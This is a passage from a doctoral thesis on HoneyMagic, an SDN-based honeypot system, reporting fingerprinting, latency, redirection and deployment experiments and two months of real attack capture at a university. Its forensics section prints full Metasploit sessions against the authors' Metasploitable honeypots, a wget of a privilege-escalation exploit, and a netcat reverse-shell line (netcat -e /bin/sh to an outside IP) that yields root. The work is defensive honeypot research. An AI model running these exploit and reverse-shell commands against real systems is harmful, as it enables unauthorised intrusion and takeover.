Furthermore, the first mechanism will not provide the real operating system fingerprint, so the attacker can only guess the OS fingerprint, e.g.

```
Running (JUST GUESSING): Cisco embedded (97%), Linux 2.6.Xj2.4.Xj3.X (97%),
Lexmark embedded (95%)
No exact OS matches for host (test conditions non-ideal).
```

Nevertheless, the second mechanism will provide an exact OS fingerprint to the attacker, e.g.

Running: Linux 2.6.X
OS details: Linux 2.6.15 - 2.6.26 (likely embedded)

Therefore, the current two implemented prototypes of the controller applications can lead to two different fingerprinting results. The user can select one of them according to the research requirements.

8.2.3. Performance tests

For the performance evaluation, we design a test based on the SMTP to monitor the latency of the first push packets arriving at the honeypot under concurrent incoming connections. An SMTP server (Postfix) was installed in honeypots. An SMTP client script was installed on the remote attacker. The script consists of the following sequence of five SMTP commands:

```
HELO test \n
MAIL FROM: <test@test.test> \n
RCPT TO: <root@localhost> \n
DATA. \n
test. \n
```

The experiment consisted of running the automated SMTP client script at the rate of 10 connections per second. We just record the duration for all the first push packet of each connection arriving at the honeypot. The experimental results under different scenarios are shown in Figure 46.

Figure 46. Connection latency under different scenarios

The first push packet including payload arriving at the honeypot means the TCP connection between the attacker and honeypot has been established. So the timestamp of the first push packet arriving at the network interface of the honeypot can be used to calculate the duration for establishing TCP connection. The experimental results show that the connections processed by Honeybrid gateway and HoneyMagic mechanism 2 can cause much more latency than the normal forward connections, while the connections processed by the HoneyMagic mechanism 1 have a lower latency which is close to the normal forward connections.

Figure 47 shows the packet I/O graph of honeypot using different mechanisms. The selected interval is 100ms, so the diagram refers to the number of packets processed by the honeypot during every 100ms period.

Figure 47. Packet I/O graph of honeypot under different mechanisms

Within this interval, we can observe the packet I/O is much more equally-distributed when we use HoneyMagic mechanism 2 or never apply any redirection. The packet I/O distribution of HoneyMagic mechanism 1 and Honeybrid is quite similar. So, if the attacker use the I/O performance to test the redirection mechanism, the mechanism 2 is difficult to be detected.

8.2.4. Redirection tests

To validate the TCP connection handover mechanism, an SSH client is used to establish TCP connections and Wireshark is applied to observe the connection changes occurred between the frontend and the backend. The rule can be set to establish the SSH connection to the MIH. Figure 48 shows the connection observation. The SSH connection launched by the attacker (10.1.0.2) is established to the frontend honeypot – MIH (10.1.1.2).

Figure 48. The Wireshark flow graph of the SSH forwarding testing

Otherwise, it can set when the first payload matches the pattern of the content field set in the rule, the SSH connection must be redirected from the frontend to the backend. Figure 49 shows the observation of the TCP connection handover.

The upper flow graph shows the initial TCP connection established between the attacker and the frontend. However, thereafter the attacker does not send the ACK PSH segment to the frontend, since the Snort makes an alert indicating the controller to redirect the traffic to the backend. Thus, the controller starts to replay the TCP three-way handshake as the lower graph shows. After finishing the new TCP establishment between the attacker and the backend, the rest segments are exchanged fluently between them. Meanwhile, the segments retransmitted by the frontend to the attacker are dropped by the controller, and finally the old TCP connection between the attacker and the frontend will be terminated. Here we should note that the time displayed by Wireshark is relative to the first packet it captures by the network interface it is listening on during the testing, so the time may not have the reference meaning.

Time	10.1.0.2	10.1.1.2	Comment
4.941079	36093 →	22 SYN	Seq = 0
4.941111	36093 ←	22 SYN, ACK	Seq = 0 Ack = 1
4.943263	36093 →	22 ACK	Seq = 1 Ack = 1
4.947688	36093 ←	22 PSH, ACK - Len: 43	Seq = 1 Ack = 1
5.149874	36093 ←	22 PSH, ACK - Len: 43	Seq = 1 Ack = 1
5.353871	36093 ←	22 PSH, ACK - Len: 43	Seq = 1 Ack = 1
5.761863	36093 ←	22 PSH, ACK - Len: 43	Seq = 1 Ack = 1
6.577871	36093 ←	22 PSH, ACK - Len: 43	Seq = 1 Ack = 1
8.217860	36093 ←	22 PSH, ACK - Len: 43	Seq = 1 Ack = 1

Time	10.1.0.2	10.1.1.2	Comment
4.944849	36093 →	22 SYN	Seq = 0
4.944876	36093 ←	22 SYN, ACK	Seq = 0 Ack = 1
4.951328	36093 →	22 ACK	Seq = 1 Ack = 1
4.951409	36093 →	22 PSH, ACK - Len: 43	Seq = 1 Ack = 1
4.951420	36093 ←	22 ACK	Seq = 1 Ack = 44
4.956216	36093 →	22 ACK	Seq = 44 Ack = 1
4.956278	36093 →	22 ACK	Seq = 44 Ack = 1
4.957416	36093 →	22 PSH, ACK - Len: 43	Seq = 1 Ack = 44
4.957858	36093 →	22 ACK - Len: 1448	Seq = 44 Ack = 44
4.958339	36093 →	22 ACK	Seq = 44 Ack = 44
4.958352	36093 →	22 PSH, ACK - Len: 200	Seq = 1492 Ack = 44
4.958454	36093 →	22 ACK	Seq = 44 Ack = 1492
4.958518	36093 →	22 ACK - Len: 1448	Seq = 44 Ack = 1492
4.958582	36093 →	22 PSH, ACK - Len: 520	Seq = 1492 Ack = 1492
4.958590	36093 →	22 ACK	Seq = 1692 Ack = 2012

Figure 49. The Wireshark flow graphs of the SSH redirection testing

Also, through using the Metasploitable 2 file system as the backend honeypot and starting a real attack by the Metasploit framework, we can observe the attack progress from the attacker's perspective. The following is an attack against the vulnerable service UnrealRCD IRC daemon on port 6667.

msfconsole

```
msf> use exploit/unix/irc/unreal_ircd_3281_backdoor
msf> exploit(unreal_ircd_3281_backdoor)> set RHOST 10.1.1.2
msf> exploit(unreal_ircd_3281_backdoor)> exploit
```

```
[*] Started reverse TCP double handler on 10.1.0.2:4444
[*] Accepted the first client connection...
[*] Accepted the second client connection...
[*] Command: echo eUh5xu2sFppgDFm9;
[*] Writing to socket A
[*] Writing to socket B
[*] Reading from sockets...
[*] Reading from socket B
[*] B: "eUh5xu2sFppgDFm9\r\n"
[*] Matching...
[*] A is input...
[*] Command shell session 2 opened (10.1.0.2:4444 -> 10.1.1.2:48113) at 2017-01-28 20:11:54 +0100
```

id

uid=1(daemon) gid=1(daemon) groups=1(daemon)

ifconfig

```
eth1  Link encap:Ethernet  HWaddr 02:fd:00:00:02:01
       inet addr:10.1.1.2  Bcast:10.1.1.255  Mask:255.255.255.0
       inet6 addr: fe80::fd:ff:fe00:201/64 Scope:Link
       UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
       RX packets:115 errors:0 dropped:0 overruns:0 frame:0
       TX packets:233 errors:0 dropped:0 overruns:0 carrier:0
       collisions:0 txqueuelen:1000
       RX bytes:0 (0.0 B)  TX bytes:0 (0.0 B)
       Base address:0xc100 Memory:febc0000-febe0000
```

```
lo    Link encap:Local Loopback
       inet addr:127.0.0.1  Mask:255.0.0.0
       inet6 addr: ::1/128 Scope:Host
       UP LOOPBACK RUNNING  MTU:16436  Metric:1
       RX packets:191 errors:0 dropped:0 overruns:0 frame:0
       TX packets:191 errors:0 dropped:0 overruns:0 carrier:0
       collisions:0 txqueuelen:0
       RX bytes:58493 (57.1 KB)  TX bytes:58493 (57.1 KB)
```

The attacking connection is redirected into a HHH, while the adversary can check the IP address that is the same with that he attacked at the beginning.

8.3. Experiments over a production network

As it is known, one of the most popular usages of honeypot is to emulate/clone the production networks in order to discover the potential security risks in the production networks. Therefore, in this subsection, we discuss the usage of the Honeyvers to clone production systems and networks.

8.3.1. Deployment strategies

In this part, we study different honeynet deployment strategies for all the LIHs, MIHs and HHHs in terms of their design and application features. The honeynet deployment depends on two conditions: the security goal of the honeypot; and the performance of the platform.

A. Deployment of Honeyd

Honeyd is always used to monitor the unused IP addresses in order to capture interesting traffic as many as possible, since the network traffic coming to the unused IP addresses seem to be suspicious naturally. The honeypots assigned with unused IP addresses can deceive attackers to spend time and resource attacking decoys rather than production systems, thus they can effectively deter attackers. Therefore, the probability of attacking on the honeypots is increasing with the ratio of honeypots to production systems.

A Honeyd template can emulate both the operating system and the services. Thus, every production system must use the operating system, the service and the port information for identification. Specifically, we assume that NPS denotes the total number of production systems, NPS_i represents the number of the i th production system, $NFIP$ means the number of free IP addresses, and P_{RIP} is the percentage of free IP addresses which should be kept for future use. Thus, the number of virtual honeypots used to emulate the i th production system is:

$$NVH_{PS_i} = \left(\frac{NPS_i}{NPS} \right) * NFIP * (1 - P_{RIP}),$$

$$\text{s.t. } NFIP * (1 - P_{RIP}) \geq NPS \quad (1)$$

We restrict that $NFIP*(1-P_{RIP}) \geq NPS$ so that there would be enough IP addresses to emulate production systems. When honeypots are integrated into the production networks, the possibility of attacks on honeypots is:

$$P_{VH} = \sum_i NVH_{PS_i} / (NPS + \sum_i NVH_{PS_i}) \quad (2)$$

We note that $NPS = \sum_i NPS_i$, thus we can substitute the value of NVH_{PS_i} in Eq. (1) for that in Eq. (2).

We can obtain:

$$P_{VH} = NFIP(1-P_{RIP}) / (NPS + NFIP(1-P_{RIP})) \quad (3)$$

In practice, the number of IP addresses of a production network is a constant depending on the network prefix. The total number of IP addresses of a certain network is equal to the sum of the number of production systems and the number of unused IP addresses. Thus, if we use NIP to represent the total number of IP addresses of a certain network. We can get

$$NPS = NIP - NFIP \quad (4)$$

Consequently, we can replace the value of NPS from Eq. (4) in Eq. (3). We can obtain

$$P_{VH} = NFIP(1-P_{RIP}) / (NIP - NFIP*P_{RIP}) \quad (5)$$

Therefore, if the target production network has approximate 500 IP addresses, we get the behavior depicted in Figure 50 for different value of NPS based on different value of P_{RIP} .

Figure 50. Probability of attacking on honeypots in the network versus the number of free IP addresses

It is clear that the probability of attacking on honeypots is increasing with the number of the free IP addresses. Under a certain number of free IP addresses, the value of P_{RIP} determines the available number of free IP addresses. The lower the value of P_{RIP} is, the higher the probability of attacking on honeypots is.

Figure 51 plots P_{IH} versus the ratio of free IP addresses to production systems. This is a visual indication of what may be expected when the ratio changes.

Figure 51. Probability of attacking on honeypots in the network versus the ratio of free IP addresses to the number of production systems

The curve shows the relationship is exponential with the number of free IP addresses. If the number of free IP addresses is the same as that of production systems, the probability of attacking on production systems is at least 50%. Note that this probability is mainly focus on automated attacks and script kiddies using automated attacking tools, because a serious advanced attacker will do reconnaissance and quickly detect the LIHs and also the true production systems.

B. Deployment of LXC based honeypots

The fake system used as deception to attackers can defend against automated attacks, which can attack both the honeypots and the production systems deployed in the same organization in a short time. Some malware just focuses on service vulnerabilities without regard for OS fingerprinting. Correspondingly, the MIHs, i.e. Amun and Dionaea are not able to emulate multiple fake operating systems simultaneously but can catch automated malware and make some fake response on application layer by emulating vulnerable services.

LXC stands for Linux container, which shares the host kernel to operate the virtual machines. The LXC based virtual machine can facilitate the distributed emulation for those stand-alone honeypots. Thus, we use LXC based virtual machine to deploy the honeypot emulating vulnerable services of the production network to catch malware.

The honeypot used as deception to attackers fails against automated attacks, which can attack both the honeypots and the production systems of an organization in a short time. Automated malware focus on service vulnerabilities as targets of opportunity without regarding for OS fingerprinting. Correspondingly, although a stand-alone MIH is not able to emulate multiple decoys simultaneously, it can catch automated malware and make some fake response on application layer.

LXC stands for Linux containers, which shares the host kernel to operate the virtual machines. The LXC based virtual machine can facilitate the scalable deployment for those stand-alone honeypots. Thus, we use LXC-based MIH to catch malware.

The number of vulnerable services emulated by the honeypot installed on an LXC file system is limited. The honeypot like Dionaea or Amun only emulates a number of common services. We assume that the LXC based honeypots can catch the attacks from other infected production systems. Thus, if a honeypot want to capture more malware, it has to improve the coverage of vulnerable services of the production networks. Therefore, the coverage of vulnerable services namely CG_{VS} can be calculated by Eq. (6):

$$CG_{VS} = \frac{NSERV_{EMU}}{NSERV_{TOTAL}} \quad (6)$$

$NSERV_{EMU}$ denotes the number of vulnerable service types of a production network, which the honeypots can emulate, and $NSERV_{TOTAL}$ represents the total number of vulnerable service types of the production network.

On the other hand, the number of honeypots depends on the load of concurrent attacks as shown by Eq. (7):

$$NVH * PF_{VH} \geq LD_{CA} \quad (7)$$

NVH means the number of virtual honeypots, PF_{VH} denotes the performance of sustaining concurrent attacks by an LXC-based virtual honeypot, and LD_{CA} is the total count of concurrent attack load. We note that the value of PF_{VH} will decrease if NVH increases, but the relationship between them is not a simple inverse ratio. We will present their inverse relationship in Chapter 8.

C. Deployment of KVM based honeypots

Not all of the threats come from automated attacks. The human-generated attacks always focus exclusively on several specific victims. Before attacking the victim, an adversary must make a reconnaissance. However, the large scale fingerprint scan is a tedious work and it is currently infeasible to scan an IPv6 network. Actually, except for scanning the target system, there are several other methods for reconnaissance. For example, the adversary can get the victim's information through DNS server.

In the case of human-generated attack, the target victim is elaborately selected by the attacker. The attacker may alter the system logs or even launch new attacks to other production systems through this compromised one. Thus, it is necessary to monitor the system activities generated by attackers. The HIHs are able to accomplish this task. However, it is not necessary to deploy so many HIHs assigned with unused IP addresses, because the heavily occupied IP addresses of a network will also cause the attacker's suspicion.

Importantly, we should guarantee the fidelity of the HIH. There are two ways to improve the fidelity. Firstly, it is necessary to be able emulate as many different types of operating systems as possible. KVM hypervisor can emulate any guest OS under x86 architecture. Thus, KVM can guarantee the versatile emulation. Secondly, as HIHs are used to capture the system activities, we should guarantee the performance of each KVM based virtual honeypot. However, the number of KVM based honeypots is inversely correlated with the performance of each honeypot.

8.3.2. Use case

In this part, a use case of production network clone is presented. The target production network will be introduced first. Later, we will present how to use the different underlying deployment tools to clone the production network.

A. Target production network

The system parameters of the host node of Honeyvers are: CPU, 4 Intel(R) Core(TM) i5-3470 CPU @ 3.20GHz; RAM, 16GB; OS, Ubuntu 14.04 LTS; Kernel, Linux 3.13.0-24-generic. The honeynet will deploy and integrate into to production network by using the free IP addresses. The example of target network is the one segment of telematics engineering in UPM. The network includes computers belonging to faculty, staff and students. Using the open-source active fingerprinting tool Nmap to initial scan against the network, the information about the IP addresses and operating systems is produced as Figure 52 shows.

Figure 52. IP address distribution and Operating system distribution

The left part of the above figure shows the division of IP addresses between production systems and unused IP addresses: 16 % of IP addresses are occupied by production systems and 84% of them are unused. It indicates that numerous virtual honeypots can be mined into the production network. In that the ratio of unused IP addresses to production systems is close to 5, which means the probability of automated attacking on the honeypots is close to 80%.

The right part of the figure illustrates the distribution of operating systems available in the production network. Accordingly, the decoys emulated by Honeyd could be assigned to these operating systems in proportion to what is shown in the graph. Besides, at least two types of KVM based file system (Windows and Linux) should be prepared to set up high-interaction honeypots.

Figure 53 summarizes the open ports that appear more than two times among the production systems.

Figure 53. The most popular open ports of the entire production network

The most popular ports are bound up with service HTTP and SSH. If the LXC based MIHs can emulate all of these open ports, the decoy can get a high probability of catching automated malware.

B. Nmap Load Test

In that Nmap is an active fingerprint tool, it will generate traffic load into the production network when it is performing the fingerprinting task. Indeed, Nmap offers 6 levels of timing templates which influence the timing and performance. We test the Nmap load using the two most common modes: normal and polite. The TCP SYN scan is used to perform the port scan. The command is like this: `nmap -sS -P0 -O 138.4.7.128/25`. The load tests using normal mode are demonstrated in Figure 54.

Figure 54. Port scans of normal mode

The left part of Figure 54 shows a natural normal SYN scan, which allows the Nmap itself to adjust the scan timing and performance. This approach generates a network load of approximate 5 KB/s which lasts about 200 seconds. But the complete scan takes 385.25 seconds.

Subsequently, we tested the normal SYN scan with 20 parallel threads. The result is shown in the right part of Figure 54. The scan period is 245.19 seconds, which is shorter than the previous scan period. However, this approach generates much more network load. As shown in the graph, the load even roughly remains at 10KB/s at the beginning of the scan. After 25 seconds, the load reaches around 5KB/s, and at the interval between 90s and 210s, the load still keeps at more than 6KB/s.

The polite mode is also applied to perform the SYN scan. Different from the normal mode, the polite mode serializes the individual port scans for each IP with a delay of 400ms between scans. The objective of this approach is to decrease the overhead imposed on the network. However, it takes a long time to finish a complete scan. The left part of Figure 55 shows the scan result via the polite mode with 20 parallel scans.

Figure 55. Port scans of polite mode

The data of the left part show that the highest load is about 3KB/s. After about 500 seconds, the load decrease to less than 0.4KB/s. However, the complete scan takes 2277.04 seconds. In order to shorten the scan period, the number of parallel scans is increased to 40 of which the result is shown in the right part of Figure 55. In this case, the complete scan only takes 1344.91 seconds, which is less than that of using 20 parallel scans.

Therefore, these two modes have their own advantages and disadvantages. We recommend that if the production network is a server network, which has a relatively static network environment but has a heavy network load, it would be better to use the polite mode to scan the production network. However, if the production network includes a great number of client systems, which can evoke the network environment to change dynamically, then the normal mode could be the better choice to scan the production network as soon as possible.

C. LXC Performance Test

A LXC-based virtual machine can only emulate the Linux operation system. Thus, this method lacks fidelity. But the LXC-based virtual machine is very suitable for the MIHs such as Dionaea and Amun.

Security is tightly coupled with performance, thus we use the Phoronix Test Suite (PTS)²¹ to test the performance of virtual honeypots. PTS is an open source benchmark platform which has been used to benchmark and compare various system attributes.

In the context of the target production network, the most common port is 80 that binds to the http service. Thus, we use Apache benchmark of PTS to test the LXC-based MIHs. Apache

²¹ <http://www.phoronix-test-suite.com/>

benchmark measures how many requests a given system can sustain per second when carrying out 500,000 requests with 100 being carried out concurrently. This benchmark is chosen as it provides insight on how the LXC-based honeypot is able to handle increasing I/O stress in terms of CPU and memory usage when the number of virtual honeypots increases. Table 19 shows how the increasing number of virtual machines affects the performance.

Table 19. Apache benchmark results based on LXC

Number of honeypots	5	10	15	20
Requests per Second	19309.32	18395.51	18008.72	17832.99

Our Honeyvers server itself can sustain 20656.09 requests per second. In the table the performance declines as the number of concurrent honeypots increases. However, even though the host runs 20 virtual honeypots, it still has a good performance in terms of request sustain.

We also tested the host performance of deploying virtual honeypots. We used the Linux system command “top” to monitor the system performance when deploying ten LXC-based honeypots. The test results are shown in Table 20.

Table 20. Host performance with ten LXC based honeypots

TIME+	RES	VIRT	%CPU	%MEM
0:00.68	37M	168M	22.5	0.2

The results show that the startup of LCX-based virtual honeypots is very fast, less than 1 second for 10 VMs to boot up, and the resource occupation is also quite low. So, if fidelity is not the most important concern, the LXC-based MIH is a better choice.

D. KVM Performance Test

KVM-based HIHs can emulate various operating systems. The problem of this method is also the performance. We should guarantee the performance of each KVM-based HIH to improve the fidelity. However, the number of KVM-based virtual machines that can be sustained by the host is

limited due to the host resource. Thus, we test both the performance of the host and the virtual machine.

The parameters of the virtual machines are: CPU, 1 Intel(R) Core(TM)2 Duo CPU T7700 @ 2.40GHz; RAM, 384 MB; OS, Ubuntu 14.04 LTS; Kernel, Linux 3.13.0-24-generic.

Firstly, we observed the system performance when launching only one honeypot on the host machine. It costs 40.02s to startup one honeypot. The memory used by the process during this experiment is demonstrated in Figure 56

Figure 56. Virtual and physical memory used by the process

The virtual memory usage is not stable. After the honeypot is switched on, the usage of virtual memory decreases to 726MB. However, the physical memory usage is quite steady after 16.87s. It maintains at the level of around 160MB, and in the end it stays at 206MB.

Secondly, we deployed 10 KVM-based honeypots. The host launched 10 processes, and each process is corresponded to one honeypot. The largest values of the five parameters of command “top” are resulted from these 10 processes in Table 21:

Table 21. Host performance with ten KVM based honeypots

TIME+	RES	VIRT	%CPU	%MEM
1:08	206M	864M	118	1.3

The largest parameter values of these 10 processes are more or less the same as those we got when launching one. Although the KVM-based machines are launched sequentially, the total startup

time for 10 HIHs is not a simple accumulation of the total time of each active process. The total startup time for 10 KVM-based honeypots is around 5 minutes.

On the other hand, we consider the performance of the KVM-based HIHs, because many adversaries can detect the honeypots by testing the system performance. In that it is probable for the adversary to read and write the system resource, we use the Stream benchmark of PTS to test performance of the KVM-based honeypots. The Stream benchmark of PTS is built from a program which is designed to measure the sustainable memory bandwidth rather than the burst or peak performance of a machine. The Stream benchmark has four operating modes: copy, scale, triad and add. Figure 57 shows how the increasing number of honeypots affects the performance of the four operating modes.

Figure 57. Stream benchmark results based on KVM

With the number of virtual honeypots increasing, only the copy mode still performs in an acceptable range, the other three modes however show very poor performance. The reason is that the other three modes rely more heavily on the CPU to do some computations on the data being before writing them to memory. This is contrary to the copy mode which measures transfer rates without doing any additional arithmetic.

8.4. Real Attacks Capture

In order to undertake the integration tests for evaluating the entire honeypot system, we deployed HoneyMagic in a low security production network of Universidad Politécnica de Madrid

(UPM). Figure 58 shows the virtual honeypots deployed by HoneyMagic (mechanism 1), which are integrated into the production network environment for real attacks capture.

Figure 58. Deployment in the real network environment

Owing to the IP address resource limitation, we only applied two unused IP addresses registered in DNS for deploying virtual honeypots. Each unused IP address was used by one MIH and one HIH. In order to capture as many real attacks as possible, a filtering rule that allows any type of inbound and outbound traffic was set. Also, because of the current security requirements of the campus network of UPM, we have to avoid the HIHs being compromised since they can be used to attack other non-honeypot systems. Hence, the redirection mechanism was set to forward all the traffic to the frontend MIHs. We installed Dionaea and Amun as the honeypot software running in two LXC-based virtual machines respectively to act as two MIHs.

The data capture of the real attacks lasted around two months (from January 11th to March 5th) by the virtual honeypots deployed in Centro de Cálculo del Departamento de Ingeniería de Sistemas Telemáticos (CDC-DIT) of UPM. Thanks to the well-developed statistic approaches of the logs of Dionaea, the statistic examples of data captured by Dionaea can be presented as Figure 59 shows. The upper part of this graph presents the distribution of attacking incidents during the data capture period, while the lower part of this graph shows the distribution of the remote attacking hosts recorded by the honeypot.

Figure 59. The example of data statistics of Dionaea

There are 28099 attacking incidents were observed, and among them 169 counts hit the vulnerabilities emulated by Dionaea. The port attack frequency of these hit counts are shown in Table 22. It is obvious that the most frequently being attacked service is ftp bind on port 21, which is totally being attacked with 115 counts during the period.

Table 22. The port attack frequency recorded by Dionaea

Attacked ports	21	42	135	445	1433	5060	40950	42737	45736	53360
Hit counts	115	28	12	1	2	7	1	1	1	1

Also, the statistic of the busy remote attacking host can be shown in Figure 60, which presents the attackers' IP addresses that it is captured more than 2 times.

Figure 60. Busy remote attacking hosts recorded by Dionaea

We looked up the busiest attacker's IP that is located in Mondai, Santa Catarina, Brazil.

8.4.1. *Data reduction comparison by different data filtering rules*

As stated, in order to catch data as much as possible, we did not set data filtering rules. However, we can observe the statistics presented above (Figure 59 and Table 22) that show only a small part of the data can be identified by Dionaea. Hence, if the researchers desire to get a more precise attack statistic, a set of traffic filtering rules can be configured in order to undertake the data reduction. We set the Snort rules blocking all ports expect the ones shown in Table 22. Later, in order to perform the comparative experiment, we replayed the attacks in a testbed scenario with the same configuration, but the main OVS is configured by the new Snort rules. After completing the attack replay, the new attack statistics of Dionaea can be presented in Figure 61.

Figure 61. The new statistics of Dionaea after data reduction

8.4.2. Attack forensics comparison by different redirection rules

The data captured by the MIH is limited to conduct attack profiling and forensic analysis, since there is no system activity left by the adversary can be used to perform these tasks. For example, we ever captured a brute force attacker (from Ile-de-France, Paris, France with IP address 62.210.207.107) by the Amun honeypot, and the recorded data can be shown as follows:

```
2015-12-26 04:38:08,031 INFO [vuln_ftpd] Attacker: 62.210.207.107 Message: ['USER anonymous\r\n'] Bytes: 16 Stage: FTPD_STAGE1
2015-12-26 04:38:08,066 INFO [vuln_ftpd] Attacker: 62.210.207.107 Message: ['PASS anonymous@\r\n'] Bytes: 17 Stage: FTPD_STAGE1
2015-12-26 04:38:08,101 INFO [vuln_ftpd] Attacker: 62.210.207.107 Message: ['CWD /\r\n'] Bytes: 7 Stage: FTPD_STAGE2
2015-12-26 04:38:08,135 INFO [vuln_ftpd] Attacker: 62.210.207.107 Message: ['TYPE A\r\n'] Bytes: 8 Stage: FTPD_STAGE2.
```

Due the limited interaction between the attacker and the honeypot, we observed that the captured data is readable but it only seems like an intrusion detection while did not provide enough information for carrying out forensics.

[illegible]

It recorded the inbound and outbound payload bytes during the attacker undertaking the exploitation. However, the captured data is still limited and even unreadable.

has the distccd daemon and a compatible compiler installed. There are several well-known vulnerabilities on distcc, such as the CVE 2004-2678²² and CVE 2009-1185²³.

Firstly, in order to launch attack again the MIH, we set the redirection rule as follows:

```
alert tcp any any -> any 3632 (msg:"MIH"; sid:1000002; priority:2;)
```

The manually attack launched by msfconsole was failed to compromise the MIH and the MIH only recorded a TCP connection request on the port 3632. Secondly, compared to the first redirection rule, we modified it to redirect the traffic to the HIH as follows:

```
alert tcp any any -> any 3632 (msg:"HIH"; sid:1000002; priority:2;)
```

Thereafter, we conducted the identical attack against the distcc vulnerability on the Metasploitable2 honeypot again, the screenshot from the attacker's view can be observed as follows:

```
msfconsole

msf> use exploit/unix/misc/distcc_exec
msf  exploit(distcc_exec) > set RHOST 138.4.0.103
msf  exploit(distcc_exec) > exploit

[*] Started reverse double handler
[*] Accepted the first client connection...
[*] Accepted the second client connection...
[*] Command: echo uk3UdiwLUq0LX3Bi;
[*] Writing to socket A
[*] Writing to socket B
[*] Reading from sockets...
[*] Reading from socket B
[*] B: "uk3UdiwLUq0LX3Bi\r\n"
[*] Matching...
[*] A is input...
[*] Command shell session 1 opened (138.4.7.158:4444 -> 138.4.0.103:38897) at 2017-03-19 12:06:03 -0700

id
uid=1(daemon) gid=1(daemon) groups=1(daemon)
```

²² Exploit CVE 2004-2687

distcc 2.x, as used in XCode 1.5 and others, when not configured to restrict access to the server port, allows remote attackers to execute arbitrary commands via compilation jobs, which are executed by the server without authorization checks.

<http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-2687>

²³ Exploit CVE 2009-1185

udev before 1.4.1 does not verify whether a NETLINK message originates from kernel space, which allows local users to gain privileges by sending a NETLINK message from user space.

<http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE 2009-1185>

We observed that the Metasploit console had gained the online access, and we checked some information of the compromised system to confirm the fact:

```
hostname
metasploitable

ifconfig eth1
eth1      Link encap:Ethernet  HWaddr 02:fd:00:00:02:01
          inet addr:138.4.0.103  Bcast:138.4.0.1   Mask:255.255.255.0
          ...

whoami
daemon
```

Thereafter, we downloaded a privileged escalation exploit²⁴ for distcc to escalate the privilege from user daemon to root.

```
wget --no-check-certificate http://www.exploit-db.com/download/8572

ls -l exploit-8572.c
-rw-r--r-- 1 daemon daemon 2786 Mar 19 12:55 exploit-8572.c
```

This exploit attacks NETLINK 1.4.1 because it does not verify whether a NETLINK message originates from the kernel space, which allows local users to gain privilege by sending a NETLINK message from the user space (/tmp/run). Therefore, after compiling the source code we began to obtain the root privilege. On the attacker's side, we created a new terminal and created a netcat session in the newly created terminal window listening on port 38897.

```
#netcat -vlp 38897
listening on (any) 38897...
```

Also, on the compromised honeypot's side, we run the compiled code to establish a new connection between the honeypot and the attacker.

```
echo '#!/bin/sh' > /tmp/run
echo '/bin/netcat -e /bin/sh 138.4.7.158 38897' >> /tmp/run
ps -eaf | grep udev | grep -v grep
root      2709      1    0   07:27   00:00:00 /sbin/udevd   --daemon
./exploit-8572 2708
```

²⁴ exploit-8572.c is available on <http://www.exploit-db.com/download/8572>

Finally, the new TCP connection was established and the attacker escalated the root privilege.

```
#netcat -vlp 38897
listening on (any) 38897...
connect to [138.4.7.158] from (UNKNOWN) [138.4.0.103] 37741

whoami
root
```

The exploitation was completed, there were a number of system activities had been left in the HHH. We started to carry out the forensics. As stated, there are many memory forensic tools. In this thesis, we used the well-known open source tool called Volatility²⁵. Before, using it to make memory forensics, we should make the memory dump, which was created by the LiMe²⁶ that can produce dumps in various formats (raw, padded, and lime). Volatility's Lime Address Space deals specifically with the lime format. Finally, we used the Volatility scan to make the forensics, the results can be seen in Table 23.

Table 23. The Volatility forensic results

Action	Result
linux_netstat	New record:t: distcc Process ID New record: netcat Process ID
linux_psaux	New record: a socket created by the metasploit payload
linux_pstree	View standard output file during make the distcc exploit See the PID that executed the shell by netcat

We will not list all the forensic results since there are plenty of forensic operations as well as the Volatility plugins can be applied to undertake the full memory forensics (reference to <https://github.com/volatilityfoundation/volatility/wiki>).

8.5. Conclusion

This chapter first presented the implementation of the prototype of the proposed honeypot system. The key functionalities were implemented based on some concrete application development frameworks and tools. However, they are not limited to these frameworks and tools, and the system architecture can be implemented by other advanced tools in the future. On the other hand, in order to

²⁵ <http://www.volatilityfoundation.org/>

²⁶ <https://github.com/volatilityfoundation/volatility/wiki/Lime-Address-Space>

validate the functions of the system, several experiments were designed and conducted. Firstly, some unit tests were undertaken to validate each individual function of the system, such as the fingerprint tests, redirection tests, etc. Secondly, some integration tests were conducted in order to validate the functionality of the entire system. In summary, though it still has some limitation, the proposed honeypot system presents good performance and it can fulfill the various research requirements.

CHAPTER 9. Conclusion

In this final chapter, we summarize the whole work by dividing it into three sections. The first section will sum up what has been accomplished in this doctoral work and present some contributions. The second section will discuss the limitations of our work and mention some relevant open issues. The third section will points out some future work lines based our research and contributions.

9.1. Accomplished Work

As a special security facility, honeypots have become increasingly important in modern cyber space environment. A honeypot is mainly used for malicious data capture and investigation, and particularly, it can be used to inspect unknown attacks. Based on the extensive state of the art that it has been presented, a lot of effort still can be made on this research area to contribute to the development of honeypot systems.

In this thesis, an anatomy view to dissect a honeypot is first proposed, which presents two elements that make up a honeypot: decoy and security program, and the way it can be organised by two types of coupling degrees: loose and tight. Therefore, based on this approach the security researchers can get a generic dissection view to the various honeypots, which can help the researchers to analyse any simple or complex honeypot system. Thereafter, we proposed a novel taxonomy of honeypot systems based on this anatomic view. We considered different features in both decoy (D) and security program (P) to form the categories of the classification scheme of this D-P based taxonomy. The taxonomy was validated by applying it to an extensive set of existing honeypot systems. This novel taxonomy can help security researchers to gain insights into honeypots and enhance the development in this area.

As the situation of cyber security has become increasingly important, and the attacks have evolved to be more and more sophisticated and numerous, we need a more advanced honeypot system to resist against the attacks. However, in front of the new security situation, several disadvantages of current honeypots are exposed, which impede the security researchers from

achieving the research goals: 1) the architecture of honeypot lacks the flexibility and extensibility to organize arbitrary decoys for different data capture requirement; 2) the data control mechanism including traffic filtering and redirection is not customizable for the users to conduct the experiments; 3) the data control, particularly the traffic redirection, is not stealthy so that the skilled adversary can detect it easy. In this thesis, a novel honeypot system, HoneyMagic, is proposed. The HoneyMagic system architecture is based on SDN framework, where the control plane is used to contain the security program and the data plane is used to deploy the decoy. The HoneyMagic includes several contributions to the development of honeypot systems, which are summarized below.

First, a versatile honeypot deployer, Honeyvers, has been proposed in order to deploy and manage heterogeneous honeypots, which includes a new TIHDL and a description translation methodology. The description translation methodology is used to translate the TIHDL into the specific description languages of the deployment tools or platforms. Therefore, the Honeyvers provides the flexibility and extensibility to the whole system, and allows it to integrate various honeypots according to the requirement.

